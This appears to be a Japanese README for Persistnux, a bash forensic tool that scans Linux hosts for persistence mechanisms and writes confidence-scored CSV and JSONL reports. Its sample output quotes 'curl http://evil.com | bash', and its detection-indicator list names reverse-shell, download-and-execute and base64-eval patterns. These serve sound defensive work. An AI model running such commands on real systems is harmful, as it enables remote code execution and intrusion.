
BashベースのLinux永続化検出ツールで、DFIR調査向け。15以上の永続化メカニズム(systemd、cron、カーネルモジュール、SSH、コンテナ)を信頼度スコアでスキャンし、フォレンジック分析用のCSV/JSONLレポートを生成します。
# Persistnux
デジタルフォレンジックおよびインシデント対応(DFIR)調査のための包括的なLinux永続化検出ツール。
## 概要
Persistnuxは、攻撃者が侵害したシステムへのアクセスを維持するために使用する既知のLinux永続化メカニズムを特定するために設計されたbashベースのツールです。システム全体で包括的なチェックを実行し、さらなる分析のためにCSVおよびJSONL形式の詳細レポートを生成します。
## 特徴
- **包括的な検出**: 主要なLinux永続化メカニズムをすべてカバー
- **ライブ分析**: 最小限の依存関係でライブシステム上で直接実行
- **詳細な出力**: ファイルハッシュ、メタデータ、信頼度スコアを含むCSVおよびJSONLレポートを生成
- **rootおよび非root**: root権限の有無にかかわらず動作(非rootの場合は範囲が限定)
- **DFIR対応**: 一般的なDFIRツールやワークフローと互換性のある出力形式
- **疑わしさスコアリング**: インジケータに基づく自動信頼度スコア(LOW、MEDIUM、HIGH、CRITICAL)
- **誤検知低減**: パッケージマネージャーとの統合および既知の正当なサービスのホワイトリスト化
- **時間ベースの分析**: 最近変更されたファイルには高い信頼度スコアが付与
- **パターンマッチング**: リバースシェル、ダウンロード-実行パターン、難読化手法を検出
## 検出される永続化メカニズム
### 1. Systemdサービス
- `/etc/systemd/system`、`/lib/systemd/system`、`/usr/lib/systemd/system` 内のサービスファイル(`.service`)
- ユーザーレベルのsystemdサービス
- 無効なサービスおよびExecStartのないサービスをフィルタリング
- 疑わしいExecStartコマンドを検出
- 実行されるバイナリ/スクリプトのパッケージ整合性を検証
### 2. Cronジョブとスケジュールタスク
- システムcrontab(`/etc/crontab`、`/etc/cron.d/*`)
- 定時実行ディレクトリ(`/etc/cron.{daily,hourly,weekly,monthly}`)
- 全ユーザーのユーザーcrontab(rootモード)
- Atジョブ
- スケジュールタスク内の疑わしいコマンドパターン
- `/etc/cron.allow` および `/etc/cron.deny` ACLファイル — 存在しないユーザーを参照するエントリにフラグを付与
### 3. シェルプロファイルとRCファイル
- システム全体のプロファイル(`/etc/profile`、`/etc/bash.bashrc`、`/etc/zshrc`)
- Profile.dスクリプト(`/etc/profile.d/*`)
- ユーザープロファイル(`.bashrc`、`.bash_profile`、`.zshrc`、`.profile` など)
- Fishシェル設定
- プロファイルファイル内の悪意のあるコマンドを検出
### 4. InitスクリプトとRC.local
- `/etc/rc.local` およびその亜種
- SysV initスクリプト(`/etc/init.d`)
- ランレベルスクリプト(`/etc/rc*.d`)
- 疑わしいダウンロード/実行コマンドを検出
### 5. カーネルモジュールとライブラリプリロード
- LD_PRELOAD設定(`/etc/ld.so.preload`) — リストされた各ライブラリをパッケージマネージャーで検証
- 動的リンカー設定(`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`) — 設定ファイルの整合性+非標準パスの `.so` ファイルをスキャンして検証
- `/etc/environment` のLD_PRELOAD/LD_LIBRARY_PATH — 環境ファイルにHIGHフラグ;参照されたライブラリパスを検証(管理外/変更あり→CRITICAL)
- カーネルモジュールパラメータ(`/etc/modprobe.d/`、`/etc/modprobe.conf`) — ファイル整合性;`install` ディレクティブを分析し疑わしいコマンドターゲットを検出;セキュリティモジュール(apparmor、selinux、seccomp)の `blacklist` にHIGHフラグ
- カーネルモジュール自動ロード設定(`/etc/modules`、`/etc/modules-load.d/`) — 設定の整合性;参照されたモジュール名を `modinfo` で `.ko` ファイルに解決して検証
- ロード済みカーネルモジュール(`lsmod`) — 列挙と整合性検証
### 6. その他のメカニズム
- XDG自動起動エントリ(`.config/autostart`、`/etc/xdg/autostart`) — root時は全ユーザーのホームディレクトリをスキャン
- システム環境ファイル(`/etc/environment`) — LD_PRELOAD/LD_LIBRARY_PATHのライブラリパスを検証
- Sudoers設定とドロップイン(`/etc/sudoers`、`/etc/sudoers.d/`) — NOPASSWD/ALLパターン→HIGH
- PAM(プラグイン可能な認証モジュール):
- すべての `.so` モジュールをパッケージマネージャーで検証;`@include` ディレクティブを追跡;`/etc/pam.conf` を含む
- `pam_exec.so` スクリプト分析 — 欠落/疑わしいスクリプト→CRITICAL
- `pam_python.so` / `pam_perl.so` リレー検出 — スクリプトを抽出して分析
- `/etc/security/` 内の `pam_script.so` フックファイル検出
- 設定ファイルの整合性 — パッケージ所有の変更されたPAM設定→CRITICAL
- `pam_env.conf` および `~/.pam_environment` のLD_PRELOADライブラリ検証
- `/etc/security/` の全般的なスキャン
- MOTDスクリプト(`/etc/update-motd.d/`) — パッケージ検証;変更あり→CRITICAL
- Git資格情報ヘルパーおよびcore.pager設定 — 全ユーザーのコンテンツ分析
- 一般的なWebディレクトリ内のWebシェル
### 8. SSH永続化
- ユーザーごとの `~/.ssh/authorized_keys` — 最近変更されたキーにフラグ;`command=` オプションの内容を分析し疑わしいパターンを検出
- ユーザーごとの `~/.ssh/rc` — 存在にMEDIUMフラグ;疑わしい/リバースシェルコンテンツ→HIGH/CRITICAL
### 9. バイナリハイジャック
- インストールされたシステムバイナリをパッケージデータベースと照合して検証(Debian/Ubuntuでは `dpkg -V`、RHEL/CentOSでは `rpm -Va`)
- `/usr/bin`、`/usr/sbin`、`/bin`、`/sbin` 内の変更されたファイル→CRITICAL発見
- `/lib/security` 内の変更されたPAMモジュール→CRITICAL発見
- conffiles(dpkg設定ファイル)は誤検知を避けるために除外
### 10. ブートローダーとInitramfs
- GRUBの `init=` カーネルパラメータ注入(`/etc/default/grub`、`/etc/default/grub.d/*.cfg`)
- ルートレベルの `/` に配置されたinitスクリプト
- Dracut initramfsモジュールで `/sysroot/etc/shadow` に書き込む `pre-pivot` フック
- Ubuntu initramfs-toolsフックスクリプト(`/etc/initramfs-tools/scripts/` および `/hooks/`)
- 最近変更された `/boot/initrd.img-*` イメージ(mtimeベース)
### 11. Polkit(PolicyKit)操作
- 無条件の `ResultAny/ResultInactive/ResultActive=yes` を含む `.pkla` ファイル
- ワイルドカードID(`unix-user:*`)の付与
- 無条件の `polkit.Result.YES` を含む `.rules` ファイル(JavaScriptベースのPolkit >= 0.106)
### 12. D-BusとNetworkManager
- 悪意のあるD-Busシステムサービス `Exec=` 登録(`/usr/share/dbus-1/system-services/`)
- D-Busポリシーのワイルドカード `allow own="*"` または `send_destination="*"` ディレクティブ
- NetworkManagerディスパッチャスクリプト(`/etc/NetworkManager/dispatcher.d/`)
### 13. Udevルール
- 任意のコマンドやスクリプトを実行するUdev `RUN+=` ディレクティブ(`/etc/udev/rules.d/`、`/lib/udev/rules.d/`)
- `/run/udev/rules.d/` へのランタイム注入ルール
- `RUN+=` 内の `at`/`cron` 委譲パターン(よくあるフォアグラウンド制限バイパス)
### 14. コンテナエスケープ
- 特権Dockerコンテナ(`--privileged`、`--pid=host`)
- コンテナへの `docker.sock` バインドマウント(Docker APIを介してホストを完全に制御)
- コンテナエントリポイントまたはDockerfile内の `nsenter -t 1`
- ユーザー書き込み可能ディレクトリ内のエスケープ手法を含むDockerfile
### 15. 高度なバイナリと権限チェック
- システムディレクトリ全体のアクティブなSUID/SGIDファイルスキャン
- `getcap` によるファイルケーパビリティスキャン — GTFOBins上の `cap_setuid+ep` → CRITICAL
- バイナリハイジャック:元のファイルの名前変更(`.original`、`.old`、`.bak`、`.real`)とラッパースクリプト
- `/etc/passwd` 内のUID 0を持つ非rootアカウント
- `/etc/passwd` のシェルフィールドの末尾スペースによるシェルマスキング
- SSH `authorized_keys` ファイルを持つシステムアカウント(UID 1-999)
## インストール
```bash
# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Make the script executable
chmod +x persistnux.sh
```
## 使い方
### 基本使用法(ライブ分析)
```bash
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh
# Show help and all options
./persistnux.sh --help
# Run as regular user (limited scope)
./persistnux.sh
```
### フィルタリングオプション(v2.4以降)
デフォルトでは、Persistnuxは**疑わしい発見**(MEDIUM、HIGH、CRITICALの信頼度)のみを表示し、ノイズを低減して対応すべき脅威に焦点を当てます。
```bash
# Default: Show only suspicious findings
sudo ./persistnux.sh
# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh
# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH
```
### カスタム出力ディレクトリ
```bash
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```
### 出力ファイル
デフォルトでは、Persistnuxは出力ディレクトリ `./persistnux_output/` を作成し、以下を含みます:
- `persistnux_<hostname>_<timestamp>.csv` - CSV形式レポート
- `persistnux_<hostname>_<timestamp>.jsonl` - JSONL形式レポート(1行に1つのJSONオブジェクト)
- `persistnux_<hostname>_<timestamp>_report.txt` - 発見件数とスキャンメタデータを含む人間可読なサマリレポート
## 出力形式
### CSV形式
```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```
### JSONL形式
```json
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
```
### 主要な出力フィールド
- **matched_pattern**: 発見をトリガーした検出パターン(例:`suspicious_script_content`、`modified_package`、`unmanaged_binary`)
- **matched_string**: 実際に疑わしいと判断されたコンテンツ(キーワードだけでなく行全体)
## 信頼度スコアリング
Persistnuxはインテリジェントな信頼度スコアリングを使用して誤検知を低減します:
- **LOW**: 標準的なシステム設定、疑わしさ低(多くの場合パッケージ管理ファイル)
- **MEDIUM**: 疑わしい可能性があるが、正当な場合もある
- **HIGH**: 疑わしいパターンが検出された(例:cron内のcurl/wget、/tmpでの実行、リバースシェル)
- **CRITICAL**: 改ざんの決定的証拠 — パッケージ整合性検証失敗、疑わしいファイルへのSUID/SGID、PAMモジュール異常、一時的な場所にあるsystemdジェネレーター、または高エントロピーペイロードを含むインラインインタプリタコード
### 誤検知低減(v1.2以降)
Persistnuxには誤検知を低減するためのいくつかの機能が含まれています:
1. **パッケージマネージャー統合**: `dpkg`(Debian/Ubuntu)または `rpm`(RedHat/CentOS)で管理されているファイルは低い信頼度スコアを受け取る
2. **既知の正当なサービスのホワイトリスト**: 一般的なベンダーサービス(systemd-*、dbus-*、snap.* など)は自動的にスキップ
3. **時間ベースのスコアリング**: 最近変更されたファイル(7日未満)は高い信頼度スコアを受け取る
4. **コンテキスト認識分析**: 複数のインジケータを組み合わせてより正確な検出を実現
## 疑わしいインジケータ
Persistnuxは以下のものを検出すると、自動的に高い信頼度でフラグを付けます:
### ネットワークベースのパターン
- リバースシェル: `bash -i >& /dev/tcp/`、`sh -i >& /dev/udp/`
- ネットワークツール: `nc`、`netcat`、`socat`、`telnet`
- スクリプト言語でのソケット操作: `python -c 'import socket'`
### ダウンロードと実行パターン
- ダウンロードツール: `curl | bash`、`wget | sh`
- ダウンロードして実行: `curl URL -o /tmp/file && chmod +x`
### 難読化手法
- エンコーディング: `base64 -d | bash`、`eval $(echo BASE64)`
- 動的実行: `eval`、`exec`
### 疑わしい場所
- 一時ディレクトリ: `/tmp`、`/dev/shm`、`/var/tmp`
- 隠しディレクトリおよびファイル
### 権限操作
- ファイルの実行可能化: `chmod +x`、`chmod 777`
- SUIDビット操作: `chmod u+s`
## 要件
- Bash 4.0+
- 標準Unixユーティリティ: `find`、`grep`、`stat`、`sha256sum`、`awk`、`file`
- オプション: `systemctl`、`lsmod`、`modinfo`、`getcap`、`dpkg`/`rpm`(特定のチェック用)
- インタプリタ依存なし(純粋なbash + coreutils;`python`/`jq`は不要)
- 包括的な分析にはroot/sudoアクセス推奨
## テスト済み / 互換性
| ディストリビューション | ステータス | 備考 |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ テスト済み | 主な開発およびテストプラットフォーム |
| Ubuntu 20.04 LTS | ✅ テスト済み | 完全サポート |
| Debian 11/12 | ✅ テスト済み | dpkgベース、同じパス規約 |
| Kali Linux (rolling) | ✅ テスト済み | PANIX検出ベンチマークで使用(下記参照) |
| RedHat / RHEL | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |
| Fedora | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |
| CentOS / AlmaLinux / Rocky | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |
> **注意:** このツールは主に**Ubuntu/Debian**システムでテストされています。RedHat、Fedora、およびRPMベースのディストリビューション向けのパッケージマネージャーサポートはコード内に実装されていますが、ライブテスト環境では検証されていません。RPMベースのディストリビューションに関する貢献やテストレポートは歓迎します。
## テスト / ベンチマーク
Persistnuxは、Persistnuxが追跡するのと同じ永続化メカニズムをインストールする[**PANIX**](https://github.com/Aegrah/PANIX)に対してベンチマークされています。
`tests/panix_benchmark.sh` にある繰り返し可能なハーネスは、各PANIXテクニックを適用し、Persistnuxを実行し、ベースラインとの差分により検出を確認します。
テストマシンで適用可能なすべてのファイルベースのPANIXテクニックは、`MEDIUM`+の信頼度で検出されます。完全なカバレッジ表と方法論については [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md) を参照してください。
> ⚠️ ベンチマークは実際のバックドアをインストールします — 使い捨てのVMでのみ実行してください。
## ロードマップ
- [ ] フォレンジックディスクイメージ向けオフライン分析モード
- [ ] UAC(Unix系アーティファクトコレクター)収集との統合
- [ ] フルVM上でブートローダー/initramfs/LKMベクターに対するPANIXベンチマークの拡張
## リソース
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX
## 貢献
貢献は歓迎します!以下の項目について、プルリクエストの送信やイシューの作成を自由に行ってください:
- 新しい永続化メカニズムの検出
- バグ修正
- ドキュメントの改善
- パフォーマンスの最適化
- 追加の出力形式
## ライセンス
MITライセンス - 詳細はLICENSEファイルを参照してください
## 謝辞
DFIRコミュニティのために、Linuxインシデント対応およびフォレンジック調査を支援するために開発されました。
## 免責事項
このツールは、認可されたセキュリティテスト、インシデント対応、およびフォレンジック分析のみを目的としています。このツールをシステム上で実行する前に、適切な認可を得ていることを確認する責任は利用者にあります。
## 連絡先
質問、イシュー、または貢献については、GitHubのイシュートラッカーを使用してください。